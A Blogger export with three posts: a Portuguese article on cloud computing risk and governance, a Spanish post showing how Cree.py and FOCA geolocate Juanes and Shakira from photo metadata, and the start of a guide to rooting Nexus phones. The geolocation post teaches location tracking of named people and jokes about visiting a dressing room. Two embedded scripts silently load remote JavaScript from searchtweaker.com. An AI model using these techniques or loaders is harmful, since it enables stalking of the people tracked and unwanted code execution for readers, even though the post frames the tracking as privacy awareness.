• As nuvens públicas permitem que os sistemas de alta disponibilidade sejam desenvolvidos em níveis de serviço muitas vezes impossíveis de serem criados em redes privadas, exceto a custos extraordinários. A desvantagem dessa disposição é a tendência de misturar os ativos de informação com os de outros clientes da nuvem, inclusive os concorrentes. De acordo com as leis e regulamentações de diferentes regiões, isso pode ser um desafio para as empresas. Neste momento, há pouco precedente jurídico em matéria de responsabilidade no sistema de nuvem. É imprescindível obter aconselhamento jurídico adequado para garantir um contrato que especifique as áreas onde o provedor do sistema de nuvem será responsável pelas<br />
consequências decorrentes de algum tipo de problema em potencial.<br />
<br />
• Devido à natureza dinâmica do sistema de nuvem, as informações podem não ser localizadas imediatamente em caso de desastres. Planos de continuidade de negócios e de recuperação de desastres devem ser bem documentados e testados. O provedor do serviço de nuvem deve compreender o papel que desempenha quanto aos procedimentos de backup, resposta a incidentes e recuperação. O tempo de recuperação (RTO, Recovery Time Objectives) deve ser indicado no contrato.<br />
<br />
<span style="color: red;"><b><u>Estratégias para lidar com os riscos da computação em nuvem</u></b></span><br />
<br />
Estes riscos, bem como outros que uma empresa pode identificar, devem ser gerenciados de forma eficaz. Recomenda-se o uso de um programa robusto de gerenciamento de riscos que seja flexível o suficiente para lidar continuamente com os riscos das informações. Em um ambiente onde a privacidade tornou-se fundamental para clientes empresariais, o acesso não autorizado aos dados na nuvem é uma preocupação significativa. Ao firmar acordo com um provedor de serviços de nuvem, a empresa deve fazer um inventário de seus ativos de informação e garantir que os dados sejam devidamente classificados e rotulados. Isso ajudará a determinar o que deve ser especificado na elaboração de um acordo de nível de serviço (SLA,<br />
Service Level Agreement), de qualquer necessidade de criptografia de dados a serem transmitidos ou armazenados, além de controles adicionais de informações confidenciais ou de alto valor para a organização.<br />
<br />
Assim como o vínculo que define o relacionamento entre a empresa e o provedor do sistema de nuvem, o SLA é uma das ferramentas mais eficazes que a empresa pode usar para garantir a proteção adequada das informações confiadas ao sistema de nuvem. O SLA será a ferramenta onde os clientes poderão especificar se os frameworks de controle serão utilizados e descrever a expectativa de uma auditoria externa de terceiros. Expectativas claras quanto ao manuseio, utilização, armazenamento e disponibilidade de informações devem ser descritas no SLA. Além disso, os requisitos para a continuidade dos negócios e a recuperação de desastres (discutido anteriormente) deverão ser comunicados no acordo.<br />
A proteção das informações evoluirá como o resultado de um acordo SLA abrangente, apoiado em um processo de garantia igualmente forte, seguro e abrangente. A estruturação de um SLA completo e detalhado que inclui direitos específicos de auditoria ajudará a empresa no gerenciamento de suas informações, uma vez que elas saem da organização e são transportadas, armazenadas ou processadas no sistema de nuvem.<br />
<br />
<span style="color: red;"><b><u>Problemas de alteração e administração relacionados à computação em nuvem </u></b></span><br />
<br />
A direção estratégica do negócio e da tecnologia da informação em geral é o foco principal quando se considera o uso da computação em nuvem. Como as empresas procuram pelo sistema de nuvem para fornecer serviços de TI que têm sido tradicionalmente gerenciados internamente, será preciso aplicar algumas mudanças para ajudar a garantir que elas continuem cumprindo seus objetivos de desempenho, que suas tecnologias de fornecimento e de negócios sejam estrategicamente alinhadas e que os riscos sejam gerenciados. Garantir que a tecnologia da informação esteja alinhada com o negócio, que os sistemas estejam seguros e que os riscos sejam gerenciados é um desafio em qualquer ambiente e ainda mais complexo em um relacionamento terceirizado. As atividades típicas de administração, como a definição de metas, políticas e padrões de desenvolvimento, a definição de funções e responsabilidades, bem como a gestão dos riscos devem incluir considerações especiais quando o assunto é a tecnologia do sistema de nuvem e seus provedores.<br />
<br />
Caso ainda não participe dos processos de governança corporativa ou do ciclo de vida de desenvolvimento de sistemas, a mudança para a computação em nuvem determina que o gerente ou diretor de segurança da informação (information security officer) passe a ser incluído nesses processos.<br />
<br />
Tal como acontece com todas as alterações organizacionais, espera-se que alguns ajustes sejam aplicados na maneira como os processos de negócio são tratados. Os processos de negócio, assim como o processamento de dados, o desenvolvimento e a recuperação de informações são exemplos potenciais dessas áreas de alteração. Além disso, será necessário rever os processos que detalham o modo como as informações são armazenadas, arquivadas e copiadas para fins de backup. O sistema de nuvem apresenta muitas situações exclusivas para as empresas enfrentarem. Um dos maiores problemas é que o pessoal das unidades de negócio, que antes era obrigado a passar pela área de TI, agora pode ignorá-la e receber os serviços diretamente do sistema de nuvem. Portanto, é primordial que as políticas de segurança da informação utilizem os serviços do sistema de nuvem.<br />
<br />
<span style="color: red;"><u><b>Considerações sobre a qualidade na computação em nuvem</b></u></span><br />
<br />
Quando confrontados com a mudança de paradigma e a natureza dos serviços prestados através de computação em nuvem, existem muitos desafios para os fornecedores de qualidade. O que pode ser feito para melhorar os recursos do profissional de qualidade com o objetivo de fornecer aos usuários diretos e indiretos da computação em nuvem mais confiança no software e nos serviços de infraestrutura que compõem o sistema de nuvem? Algumas das principais questões sobre qualidade que devem ser abordadas são:<br />
<br />
• Transparência — Os provedores de serviços devem demonstrar a existência de controles de segurança eficazes e robustos, assegurando aos clientes que seus dados estão devidamente protegidos contra o acesso não autorizado, a alteração e a destruição dos mesmos. As questões mais importantes que devem ser decididas são as seguintes: que nível de transparência é suficiente? O que é preciso para ser transparente? A transparência pode ser maléfica? As principais áreas onde a transparência do fornecedor é importante incluem: quais funcionários (do provedor) têm acesso às informações dos clientes? Há segregação de funções entre os funcionários do provedor de manutenção? Como as diferentes informações dos clientes são segregadas? Quais são os controles responsáveis por evitar, detectar e reagir às violações?<br />
<br />
• Privacidade — Com a preocupação crescente com a privacidade em nível mundial, torna-se imperativo aos provedores de serviço de computação em nuvem provar aos clientes, existentes e potenciais, que os controles de privacidade estão em vigor e demonstrar sua real capacidade para evitar, detectar e reagir às violações em tempo hábil. A informação e a geração de relatórios das linhas de comunicação precisam estar em perfeito funcionamento e devem constar em contrato antes mesmo do início dos serviços. Tais canais de comunicação devem ser testados periodicamente durante as operações.<br />
<br />
• Conformidade — A maioria das organizações atualmente deve cumprir uma série de leis, regulamentações e normas. Há preocupações com a computação em nuvem pelo fato de que os dados podem não estar armazenados em um único lugar e poderiam não ser recuperados facilmente. É essencial garantir que, caso os dados sejam exigidos pelas autoridades, esse procedimento possa ser cumprido sem comprometer outras informações. As auditorias realizadas pelas próprias autoridades regulamentadoras, padronizadoras e<br />
legalizadoras demonstram que pode haver muitos excessos em tais apreensões. O uso dos serviços do sistema de nuvem não oferece garantias de que uma empresa poderá obter suas informações quando necessário, e alguns provedores ainda se reservam o direito de reter as informações das autoridades.<br />
<br />
• Fluxo de informações além-fronteira — Quando a informação pode ser armazenada em qualquer lugar no sistema de nuvem, a localização física da informação pode se transformar em um problema. A localização física determina a jurisdição e a obrigação legal. Asleis que regem as informações pessoalmente identificáveis (PII, personally identifiable information) de um determinado país variam muito. O que é permitido em um país pode ser uma violação em outro.<br />
<br />
• Certificação — Os provedores de serviços de computação em nuvem deverão fornecer a seus clientes a garantia de que estão agindo de forma correta. A garantia independente das auditorias de terceiros e/ou dos relatórios de auditoria dos serviços é de suma importância em qualquer programa de garantia.<br />
<br />
<div style="text-align: justify;">
Utilizar padrões e frameworks ajudará as empresas a obterem mais qualidade com relação à segurança e aos controles internos do fornecedor da computação em nuvem. No momento da formalização por escrito, não há padrões específicos disponíveis publicamente para o paradigma da computação em nuvem. Entretanto, as normas existentes devem ser consultadas para abordar as áreas relevantes e as empresas devem considerá-las para ajustar seus frameworks de controle já existentes. A computação em nuvem representa uma oportunidade de remodelar a segurança e os controles em TI.</div>
<br />
Sem dúvida, muitas empresas aproveitam essa oportunidade para melhorar a eficiência e a segurança interna de seu portfólio de TI.<br />
<br />
<u><b><span style="color: red;">Conclusão</span></b></u><br />
<br />
Enquanto a computação em nuvem está, certamente, pronta para proporcionar muitos benefícios, os profissionais de segurança de informação devem conduzir as análises de impacto dos negócios, assim como as avaliações de risco devem indicar aos líderes sobre riscos potenciais para a empresa. As atividades da gestão de riscos devem ser gerenciadas ao longo do ciclo de vida das informações e os riscos devem ser reavaliados periodicamente ou em caso de alterações.<br />
<br />
<div style="text-align: justify;">
As empresas que tendem a considerar o uso do sistema de nuvem em seus ambientes devem calcular a economia de custos que este sistema pode oferecer e a quais riscos adicionais está sujeito. Uma vez calculada a economia de custos e identificados os riscos, as empresas terão uma melhor compreensão sobre como podem aproveitar os serviços de nuvem. A empresa deve contar com profissionais da área jurídica, de segurança e de qualidade para garantir que os níveis adequados de segurança e privacidade sejam alcançados. A opção pela nuvem representa uma mudança importante na forma como os recursos de computação serão utilizados e, como tal, será uma importante iniciativa de governança nas organizações em que for adotada, exigindo o envolvimento de um amplo grupo de interessados.</div>
<br />
<span style="color: yellow;">Recursos adicionais relacionados à computação em nuvem: www.isaca.org/cloudcomputingresources</span><br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-74444835632865500782013-01-26T01:22:00.001+01:002013-01-26T01:25:23.099+01:00Cómo localizar usuarios de twitter y flickr a través de sus fotos<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<div class="post-meta">
<span class="comments"><a href="http://www.dragonjar.org/como-localizar-usuarios-de-twitter-y-flickr-a-traves-de-sus-fotos.xhtml#comments" title="Comentarios en Cómo localizar usuarios de twitter y flickr a través de sus fotos"></a></span> </div>
<div style="text-align: justify;">
Existe una herramienta que permite descargar las <span style="color: white;"><a class="st_tag internal_tag" href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" rel="tag" title="Entradas etiquetadas con Fotos">fotos</a> publicadas en <a class="st_tag internal_tag" href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" rel="tag" title="Entradas etiquetadas con Twitter">twitter</a> por un usuario automáticamente y que también podría ayudar en esta tarea, <a href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" rel="nofollow" target="_blank">se llama Twitter Image Downloader</a>, esta escrita en .net y <a href="http://www.blogger.com/blogger.g?blogID=7163708568876453448" rel="nofollow" target="_blank">es de código abierto,</a>
esta herramienta nos facilita la vida al bajar las imágenes publicadas
en los últimos 150 tweets de una cuenta (por limitaciones de la api en
twitter) para luego extraer sus meta datos y conseguir información que
nos ayude a localizar el usuario de twitter en un momento determinado.</span></div>
<div style="text-align: justify;">
<b><br />
</b></div>
<div style="text-align: center;">
<a href="http://www.dragonjar.org/wp-content/uploads/2011/12/Como-rastrear-un-tweet.png"><img alt="Como rastrear un tweet Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-13116" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/12/Como-rastrear-un-tweet.png" height="544" src="http://www.dragonjar.org/wp-content/uploads/2011/12/Como-rastrear-un-tweet.png?_cfgetx=img.rx:600;img.ry:600;" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" width="580" /> </a></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: justify;">
Ya que algunos han experimentado problemas a la hora de usar cree.py, aquí otra alternativa que junto a un visor EXIF como <a href="https://addons.mozilla.org/es/firefox/addon/exif-viewer/" rel="nofollow" target="_blank"><i>Exif Viewer</i></a>, <a href="http://regex.info/exif.cgi" rel="nofollow" target="_blank">Jeffrey’s <i>Exif viewer</i></a> o la misma <a href="http://www.dragonjar.org/foca-herramienta-para-analisis-meta-datos.xhtml">FOCA</a>,
te ayudará en la extracción de información sobre las fotos publicadas
por un usuario en twitter, con el añadido de ser open source y poder
modificar la herramienta para que adaptarla a nuestras necesidades
especificas.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
También les cuento que de momento la herramienta esta <a href="http://ilektrojohn.github.com/creepy/" rel="nofollow" target="_blank">teniendo
problemas para autenticarse ante twitter, por lo que se recomienda
seguir los pasos sugeridos por el autor de la misma en este enlace</a>.</div>
<div style="text-align: justify;">
La geolocalización esta en auge, todos quieren saber donde están sus amigos y gustosos dan su información en sitios como <a href="http://www.foursquare.com/" rel="nofollow" target="_blank">Foursquare</a>, <a href="http://www.dioui.com/" rel="nofollow" target="_blank">DiOui</a> o <a href="http://www.facebook.com/places/" rel="nofollow" target="_blank">Facebook Places</a>
para no estar fuera de la “moda”, pero… ¿sabes quien ve realmente esta
información?, muchas veces quienes publican estos datos en la red, no
son conscientes de las consecuencias que esto puede acarrear.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<img alt="Geolocalizacion Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6212" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Geolocalizacion.jpg" height="369" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Geolocalizacion.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Geolocalizacion de usuarios Twitter y Flickr" width="580" /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<a href="http://geek.com.mx/2008/08/acusan-a-hi5-y-facebook-de-facilitar-secuestros/" rel="nofollow" target="_blank">Secuestradores</a>, <a href="http://terratv.terra.com.ar/videos/Noticias/Nacional/5141-233932/Cayo-el-violador-de-Facebook-por-atacar-sexualmente-a-menor-de-14-anos.htm" rel="nofollow" target="_blank">Violadores</a>, <a href="http://www.gizmodo.es/2010/09/13/ladrones-consultan-facebook-para-ver-cuando-asaltar-tu-casa.html" rel="nofollow" target="_blank">Ladrones</a> y demás delincuentes <a href="http://pleaserobme.com/" rel="nofollow" target="_blank">ya hacen uso de las nuevas tecnologías y la información que publicas en internet</a>, para llevar a cabo sus delitos, como en el famoso caso de <a href="http://www.securitybydefault.com/2011/05/la-espeluznante-historia-de-lisa.html" rel="nofollow" target="_blank">Lisa Montgomery</a>;
por eso debes ser consciente que la información que publicas en la red
la puede ver CUALQUIER PERSONA y te recomendamos seguir los <a href="http://www.dragonjar.org/consejos-para-hacer-correcto-uso-de-las-redes-sociales.xhtml">consejos</a> que constantemente <a href="http://www.dragonjar.org/configurar-privacidad-en-redes-sociales.xhtml">ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red</a>.<span id="more-6196"></span></div>
<div style="text-align: justify;">
Esta información es especialmente
sensible cuando quien la publica, no es consciente que lo está haciendo,
como es el caso de las fotos en cuyo interior (<a href="http://es.wikipedia.org/wiki/Metadato" rel="nofollow" target="_blank">sus metadatos</a>) se encuentra almacenada la ubicación <a class="st_tag internal_tag" href="http://www.dragonjar.org/tag/gps" rel="tag" title="Entradas etiquetadas con GPS">GPS</a>
de donde fue tomada, una característica adoptada cada vez en mas
cámaras, especialmente las integradas a teléfonos celulares
inteligentes.</div>
<div style="text-align: justify;">
Gracias a <a href="http://www.elladodelmal.com/2011/04/creepy-data.html" rel="nofollow" target="_blank">El Maligno</a>, me entero que <a href="http://diveintoinfosec.wordpress.com/" rel="nofollow" target="_blank">Yiannis Kakavas</a> ha desarrollado <a href="https://github.com/ilektrojohn/creepy/" rel="nofollow" target="_blank">una herramienta llamada Cree.py</a>,
que automatiza el proceso de extracción y localización de la
información GPS publicada en las fotos por un usuario de Twitter o <a class="st_tag internal_tag" href="http://www.dragonjar.org/tag/flickr" rel="tag" title="Entradas etiquetadas con Flickr">Flickr</a>, dejándola a la mano de cualquier persona.</div>
<div style="text-align: justify;">
La herramienta programada en Python y de código abierto, es muy fácil de utilizar, cuenta con versiones para <a href="http://cloud.github.com/downloads/ilektrojohn/creepy/CreepySetup_0.1.93.exe" rel="nofollow" target="_blank">Windows</a>, <a href="http://cloud.github.com/downloads/ilektrojohn/creepy/creepy_0.1.93-1ubuntu1_all.deb" rel="nofollow" target="_blank">GNU Linux</a> y si resolvemos unas cuentas dependencias, <a href="https://github.com/ilektrojohn/creepy/zipball/master" rel="nofollow" target="_blank">podemos hacerla correr en Mac OS X</a>.</div>
Para este articulo analizaremos 2 de los famosos colombianos, que mas publican fotografías por Twitter…. <a href="http://twitter.com/#%21/juanes" rel="nofollow" target="_blank">@juanes</a> y <a href="http://twitter.com/#%21/shakira" rel="nofollow" target="_blank">@Shakira</a><br />
<br />
<br />
<img alt="Juanes GPS1 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6200" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS1.jpg" height="451" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS1.jpg?_cfgetx=img.rx:600;img.ry:500;" title="Ubicando famosos en Twitter" width="580" /><br />
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Lo primero que hacemos es abrir la
herramienta, escribir la cuenta de Twitter o Flickr que queremos
analizar (podemos usar un buscador también) y después presionar <b>“Geolocate Targe”</b>,
esperamos unos minutos mientras se procesa la información…. obteniendo
un mapa como el siguiente, donde podemos ver los puntos geolocalizados
de las fotos obtenidas desde el perfil publico de @juanes</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
</div>
<div style="text-align: center;">
<img alt="Juanes GPS9 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6201" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS9.jpg" height="450" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS9.jpg?_cfgetx=img.rx:600;img.ry:500;" title="Juanes-GPS9" width="580" /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Para confirmar la información almacenada
analizaremos las fotos descargadas por el Cree.py, con la FOCA,
herramienta que permite analizar metadatos a imágenes y documentos.</div>
<div style="text-align: justify;">
<br /></div>
<img alt="Juanes GPS2 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6203" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS2.jpg" height="371" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS2.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS2" width="580" /><br />
<br />
Fotos bastante personales de @Juanes con su esposa Karen Martínez mientras estaban de viaje por Londres.<br />
<br />
<div style="text-align: center;">
<img alt="Juanes GPS3 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6204" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS3.jpg" height="372" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS3.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS3" width="580" /></div>
<br />
La ubicación de la oficina donde posiblemente produzcan los discos del artista<br />
<div style="text-align: center;">
<img alt="Juanes GPS4 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6205" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS4.jpg" height="374" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS4.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS4" width="580" /></div>
<br />
Haciendo arreglos a las canciones o las pistas…<br />
<div style="text-align: center;">
<img alt="Juanes GPS5 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6206" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS5.jpg" height="374" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS5.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS5" width="580" /></div>
<br />
Fotos del parque que se observa claramente en Creppy<br />
<br />
<div style="text-align: center;">
<img alt="Juanes GPS6 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6207" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS6.jpg" height="372" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS6.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS6" width="580" /></div>
<br />
Segunda foto del Hyde Park<br />
<br />
<div style="text-align: center;">
<img alt="Juanes GPS7 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full wp-image-6208" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS7.jpg" height="375" src="http://www.dragonjar.org/wp-content/uploads/2011/04/Juanes-GPS7.jpg?_cfgetx=img.rx:600;img.ry:400;" title="Juanes-GPS7" width="580" /></div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Como podemos ver no es poca la
información que cualquier persona puede obtener de la cuenta publica de
Juanes, ¿los paparazzi sabrán de esto?, seguramente les sería de mucha
utilidad….</div>
<div style="text-align: justify;">
Ahora pasamos a otra de nuestras
celebridades… @shakira quien tampoco sabe que al publicar fotografías
por Twitter, también esta publicando su ubicación, para ello seguimos el
mismo procedimiento que con @juanes, buscamos su cuenta oficial, damos
click en el botón <b>“Geolocate Target”</b> y esperamos que Cree.py haga su trabajo…</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: center;">
<img alt="Shakira GPS1 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS1.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS1.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Después de esperar un poco, podemos ver algunas locaciones como el Coca Cola Park en South Africa.<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS2 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS2.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS2.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Algunas direcciones en New York…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS3 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS3.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS3.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Y para corroborar el trabajo de cree.py de nuevo pasamos la FOCA a todas las fotos, logrando reconocer algunas de ellas.<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS4 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS4.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS4.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Shakira con su novio de turno…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS5 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS5.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS5.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Foto del escenario antes de la presentación…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS6 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS6.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS6.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Ubicación de su camerino… ya sabes por si quieres darle un saludo…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS7 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS7.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS7.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
En un late night show…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS8 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS8.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS8.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Algunos apuntes poco interesantes… ¿o no?<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS9 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS9.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS9.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
Detrás del telón…<br />
<br />
<div style="text-align: center;">
<img alt="Shakira GPS10 Cómo localizar usuarios de twitter y flickr a través de sus fotos" class="aligncenter size-full" data-cfloaded="true" data-cfsrc="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS10.jpg" src="http://www.dragonjar.org/wp-content/uploads/2011/05/Shakira-GPS10.jpg" title="Cómo localizar usuarios de twitter y flickr a través de sus fotos" /></div>
<br />
En el escenario..<br />
Como pueden ver obtener la ubicación de los famosos no es nada
complicado, pero es igual de fácil obtener la tuya; Por eso es tan
importante que sigas los <a href="http://www.dragonjar.org/consejos-para-hacer-correcto-uso-de-las-redes-sociales.xhtml">consejos</a> que constantemente <a href="http://www.dragonjar.org/configurar-privacidad-en-redes-sociales.xhtml">ofrecemos en nuestra comunidad, para estar un poco mas seguros en la red</a> y seas mas cuidadoso con tu información.<br />
<br />
Fuente: DragonJar. <br />
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script><br />
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-25974875966986456152013-01-26T00:52:00.004+01:002013-01-26T00:52:44.882+01:00Root en un Galaxy Nexus, Nexus 4, Nexus 7 y Nexus 10 desde Ubuntu <div dir="ltr" style="text-align: left;" trbidi="on">
<div id="ad_thread_first_post_content">
</div>
<div class="content hasad">
<div id="post_message_41589">
<blockquote class="postcontent restore ">
<b>Introducción</b><br /><br /><div style="text-align: justify;">
Entiendo que haya características que
no estén disponibles para el usuario habitual de una aplicación o
dispositivo, por aquello de dar una “experiencia controlada”, pero no
termino de entender porque tienen que existir tantas características
bloqueadas, ni por que es tan “complicado” en ocasiones sortear estos
bloqueos. Cuando adquiero un chisme quiero sacar el máximo partido del
mismo.</div>
</blockquote>
</div>
</div>
Para los dispositivos Nexus, existe una
herramienta que puedes ejecutar tanto en Linux, como en MacOSX, como en
Windows y que te permitirá con muy pocos pasos “root-earlos”, y poder
sacar todo el partido.<br />
Vamos a ello…<br />
<br />
<b>Root-eando, root-eando</b><br /><br /> <b><span style="color: red;">Una advertencia</span></b>:
si nunca has “root-eado” tu Android, informarte que vas a perder toda
la configuración, información, aplicaciones, que tengas instaladas, y
tendrás que empezar de nuevo. Así que ojo.<br />
Antes de nada tienes que descargar las herramientas necesarias para
ello, que es básicamente “adb” (android debuge bridge), y que lo puedes
instalar desde un repositorio creado desde <a href="http://anonym-url.com/go.php?to=http://www.webupd8.org/2012/08/install-adb-and-fastboot-android-tools.html" rel="nofollow" target="_blank">WebUpd8</a>, y que te permitirá hacer los pasos iniciales para realizar el “root-eo”.<br />
<br />
<b>Instalar adb</b><br /><br /> En el caso de Natty, Oneiric, Precise o
Quantal puedes instalarlo fácilmente con solo añadir el siguiente
repositorio, actualizar e instalar:<br />
<br />
sudo add-apt-repository ppa:nilarimogard/webupd8 && sudo
apt-get update && sudo apt-get install android-tools-adb
android-tools-fastboot <b>Descargar el archivo de root-eo</b><br /><br />
Lo primero es averiguar el nombre clave del modelo de tu dispositivo.
Esto lo puedes hacer fácilmente utilizando Google Maps, solo tienes que
acceder a Google Maps > Ajustes > Acerca de, y en la sección
“Dispositivo” verás el nombre clave, por ejemplo en el caso de la imagen
inferior verás que es “<b>yakju</b>”Ahora seleccionas el archivo correspondiente a tu dispositivo lo descargas y lo descomprimes en un directorio:<br />
<ul>
<li><a href="http://anonym-url.com/go.php?to=http://download.chainfire.eu/296/CF-Root/CF-Auto-Root/CF-Auto-Root-maguro-yakju-galaxynexus.zip" rel="nofollow" target="_blank">Descarga para Galaxy Nexus (yakju)</a></li>
<li><a href="http://download.chainfire.eu/291/CF-Root/CF-Auto-Root/CF-Auto-Root-maguro-takju-galaxynexus.zip" rel="nofollow" target="_blank">Descarga para Galaxy Nexus (takju)</a></li>
